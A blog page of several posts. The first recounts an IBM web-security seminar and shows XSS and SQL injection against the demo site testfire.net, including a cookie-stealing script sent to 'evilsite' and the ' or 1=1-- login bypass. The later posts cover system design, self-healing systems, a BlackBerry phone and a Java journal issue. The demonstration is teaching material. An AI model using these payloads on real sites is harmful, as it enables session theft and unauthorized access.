Web application security flaws exposed

Today I participated in the "Hacking 101" event hosted by IBM in Miami. It was a half day seminar, hands-on lab. Very interesting and useful I must admit. They talked about what are the top security issues of web applications today based on the OWASP Top 10 document. The interesting part is that they actually demonstrated some of the security issues discussed. In order to showcase everything, they have a test (fictive) web site set up, namely http://www.testfire.net/ (you can access it from your own station at will). Let me go through some vulnerabilities covered during the session.

Cross-Site Scripting (XSS) - Number 1 in the Top 10 list.

XSS is basically script embedded into HTML returned from a trusted site. One of the implications is that session tokens can be stolen. Let's see how:

First I search for the string 'Mihai', which will change the browser URL to http://www.testfire.net/search.aspx?txtSearch=mihai, printing the result like shown below:

Next step is to change the query string to http://www.testfire.net/search.aspx?txtSearch=<script>alert(document.cookie)</script>, resulting in information related to your session being made available:

So the cookie is available to JavaScript. How do we exploit this? First, you need the Tamper Data Mozilla add-on. Once you have it installed, open in by choosing Tools -> Tamper Data. Going back to Firefox, in the search text box enter %3Cscript%3Edocument.write('. Looking into the Tamper Data UI, you can locate the request just made to evilsite, and see that your cookie has been sent to it.

To exploit this vulnerability, one can send an email to the user with a link that has the above script embedded in it. Once the user clicks on it, the request will be sent to www.testfire.net, with the script as input for the search text box. When the script is echoed back to the application, it will be executed by the browser and the user cookies will be sent to evilsite.

SQL Injection - Number 2 in Top 10 list.

With SQL Injection, the user input is directly embedded into a SQL statement. One of the implications is that we can access data in a database. Let's say we wanted to log in as administrators into our dummy web site. First step is to get a sense of how the SQL statement is formed. For that, we enter a ' as the user name, followed by anything as password:

The result of trying to log in will be an error page that will display information related to how the SQL statement involving the user name and password is constructed:

Once we know how the query looks like, we can write in the user name field the text ' or 1=1--:

with the results of being signed in as admin:

Other security vulnerabilities were covered, such as Malicious File Execution, Insecure Direct Object Reference, Information Leakage and Improper Error Handling, and Failure to Restrict URL Access.

Of course, IBM has a tool called AppScan that can help in detect all the vulnerabilities I mentioned in this blog. How it works, in a nutshell, is by scaning your web application (i.e. website), identifying the security issues based on some test policies, pointing out the problems , logging the issues, and recommending fixes. Below is a screenshot of AppScan in action (taken from the pdf presentation slides):

If you want to find out more about the event, get the slides, try everything out, go to http://www.ibm.com/developerworks/offers/techbriefings/details/hacking.html.

All in all, a very informative session!

On System Design

In an essay entitled "On System Design", Jim Waldo, a distinguished engineer with Sun Microsystems, expresses his ideas and opinions on system design, including factors that hinder the effort necessary to do system design.

Some of the techniques that aid in the process of good system design are Six Sigma, or UML. The latter helps in the development of good design, but it is you (as an individual or a team) that has to come up with the design. UML helps you in expressing that design better. Many approaches have been found to work, but there is no general approach that works on all projects. Depending on the project, you have to decide which approach better suites your needs. The only exception to this is given by Brooks, namely that good designs have one thing in common, that is they are produced by good designers. Jim Waldo explained this in terms of probability/statistics: those who have been able to produce a good design in the past are far more likely to produce a good design in the future. Furthermore, designers have to be bale to deal with ambiguity while creating the design, and to know that the question that cannot be answered right away, will be eventually answered at the appropriate time. The author mentions that instead of learning a process of design, it is better to learn how to best design. An indicative to the best way to learn how to design includes two factors:

1. Trying, failing, and then trying again.
2. Being under the guidance of someone who is an expert at the task.

It si the way of thinking that matters most in system design, rather than the subject that can be thought in a particular course. Interesting enough, the author mentions that System Design cannot be learned in one course, but should rather be though in a much larger process, similar to an apprenticeship. The relationship needed between a master and its apprentice is found at the graduate level, where each student has an adviser with whom he is involved in academic research. One other place is at work (in industry) where you get hands-on insight on system design. I would argue that at work, you are more constrained in terms of time; hence, there is less opportunity in learning system design.

Diversity in the sense of academic backgrounds (physics, philosophy, anthropology, computer science, music, etc), and how such a diversity creates different views on a given problem, is described as being beneficial. I would particularize this to software development in the sense of not trying to think of a solution for a problem in terms of a particular programming language, but instead design the solution independent of the software platform and only afterward think of what language can help me express this design the best (similar to the MDA concepts).

The problem with doing design up front is the fact that no immediate code is produced. The pressure to produce something that can be seen, or the measure of productivity by means of the number of lines of code written, still exists. What is needed is "an act of faith by management". He continues by saying that "if you find a manager who is actually willing to give you time to do the design task, stick with him or her. He or she is a treasure much rarer than gold."

The paper also mentions intellectual property (as a note on why system design is not shared among peers anymore), and how any patent has the same value as any other patent. For me this is unbelievable; it is equivalent to saying that ideas that are behind the pattern are the same, namely have the same value. The quality of an idea is not taken into consideration at all by the patent system. Furthermore, in case of a patent litigation, the jury is made up of ordinary (non-technical) people, not technical peers. Hence, "it is very hard to learn about good system design unless you can see and study other system designs, both good and bad. The intellectual property atmosphere in industry has limited the number of designs that are actually talked about, and has convinced many system designers that they should not even look at the designs that are available."

Ways of solving the lack of system design from academia and industry are given in forms of agile methodologies and open source projects, because they enhance the discussion of a system's design in several ways: the communication between two (or a small group) of programmers can help in clarifying and better understanding the design of a system; furthermore, communicating the design to other members of an open source project will help clarify the design of a system. It is interesting to note that the author provides a different view to both agile methodologies and open source projects, namely them being a reaction to the impossibility of doing system design in academia and in the industry. Overall, the paper makes for an inspiring reading. You find yourself nodding and agreeing with the statements made while reading the essay.

Why is self-healing in computer systems important?

Reading about the malfunction that rendered the Hubble Space Telescope silent, I realized indeed how important is for systems to have the property of self-healing that our human body has, and in the broader sense, be autonomic. This would imply for the system to know itself in such a way as to poses detail knowledge of its components, status, and internal and external connections. If a system does not have information about a specific component, it cannot control it, hence the importance of knowing itself.

Furthermore, reconfiguring itself based on the environment is also a desired property. Most importantly, such a system would need to heal itself without the interference of human experts. Why do we need such a self-healing characteristic in computer systems? The Hubble Space Telescope mentioned above is one example. The failure in the telescope came from a unit that collects data and transmits it to earth. Solving this problem means to remotely send commands to the telescope to switch its operations to a backup unit. Why hasn't this been achieved automatically? Because Hubble was not designed with self-healing in mind. Would have been that complicated to discover the problem on its own and find an alternative resource that it could use to continue its normal operation? Self-healing really means just making use of redundant or underutilized components to take over the task of the malfunctioned element. This is similar to how the brain works when parts of it are damaged. The problem is that because Hubble is not 'aware' of its backup unit, that specific unit has not been utilized since 1990, making it subject to "harmful rays of the sun, extreme temperature changes during orbits and 18 years of cosmic debris".

If you are interested in Autonomic Computing, IBM has a whole research project devoted to this subject. You can find out more about this here.

BlackBerry Flip and IBM's Spoken Web

RIM introduced the first BlackBerry Perl Flip 8220 smartphone. The official website for the phone can be found here. Taken from the RIM press release:

"The quad-band EDGE based BlackBerry Pearl Flip smartphone presents a sophisticated look with a sleek design and a chrome-finished frame surrounding its smooth, luminescent face. Packed with an abundance of powerful features, it weighs only 3.6 ounces and measures approximately 3.9” x 1.9” x 0.7”. Featuring two high-resolution, light-sensing color displays, the external LCD makes it easy to preview incoming emails, text messages and phone calls without opening the handset, while the large, 240 x 320 internal LCD displays messages, videos and web pages with impressive detail and contrast.

“The popularity of BlackBerry smartphones has grown tremendously around the world and the introduction of this exciting new flip phone will help extend the reach of the BlackBerry platform even further,” said Mike Lazaridis, President and Co-CEO, Research In Motion. “The BlackBerry Pearl Flip is a full-featured smartphone with a unique and friendly design and it is a natural choice for flip phone users who want to start doing more with their phone than just talk.”"

Voice quality is assured through the use of Speaker Independent Voice Recognition (SIVR) for Voice Activated Dialing (VAD). It includes "support for mp3 ring tones, smart dialing, conference calling, speed dialing, call forwarding, voicemail attachment playback and enhanced background noise cancellation. It also features a speakerphone and Bluetooth® 2.0 for use with hands-free headsets, stereo headsets, car kits and other Bluetooth peripherals such as a GPS receiver. The removable/rechargeable 900 mAhr battery provides four hours of talk time and over 14 days of standby time".

IBM is testing a voice-based web browser, developed under the "Spoken Web" project of IBM's India Research Laboratory. Some of the technologies used are Voice eXtensible Markup Language (VoiceXML) and HyperSpeech Transfer Protocol (HSTP). You can read more about it here.

Java Developer's Journal April 2008 Issue

Great April Issue of the Java Developer's Journal. First article I enjoyed, written by Shay Shmeltzer, describes a wish list for JSF. I was recently introduced to JSF (and Oracle's ADF Faces) and found its component based approach together with its navigation model to be simple and straightforward to use. What I enjoyed about this article is the fact that it does not describe JSF, it does not show you an example (which you can find everywhere on the web), but it actually mentions what could be improved.

Another article written by Rob Davies and James Strachan talks about Apache Camel which is an implementation of Enterprise Integration Patterns using a (Java or XML based) Domain Specific Language to define routing rules and to connect to the messaging system. The authors show how one could build a Messaging application without actual in depth knowledge of technologies such as JMS specific to the low-level part of the Spring framework.

The article that I found to be the most interesting is "Assessing Employee Performance" written by Benjamin Garbers, a manager at IBM. He defines the jobs in a software group and the expectations he has on each of the job types. I believe that the Java Team Leader is missing from that table, but this is not that important. Beside describing each of these jobs and how to evaluate the employees from each of the job category, Benjamin also mentions tools used in obtaining the wanted metrics. For Java Developers and Designers, he mentions the Metrics plug-in for Eclipse or JHawk metric tools; for a Java Tester, IBM's Rational ClearQuest is used to view internal defects. For automated, functional and regression testing, IBM's Rational Functional Tester is used.

All great articles, so I encourage you to read them!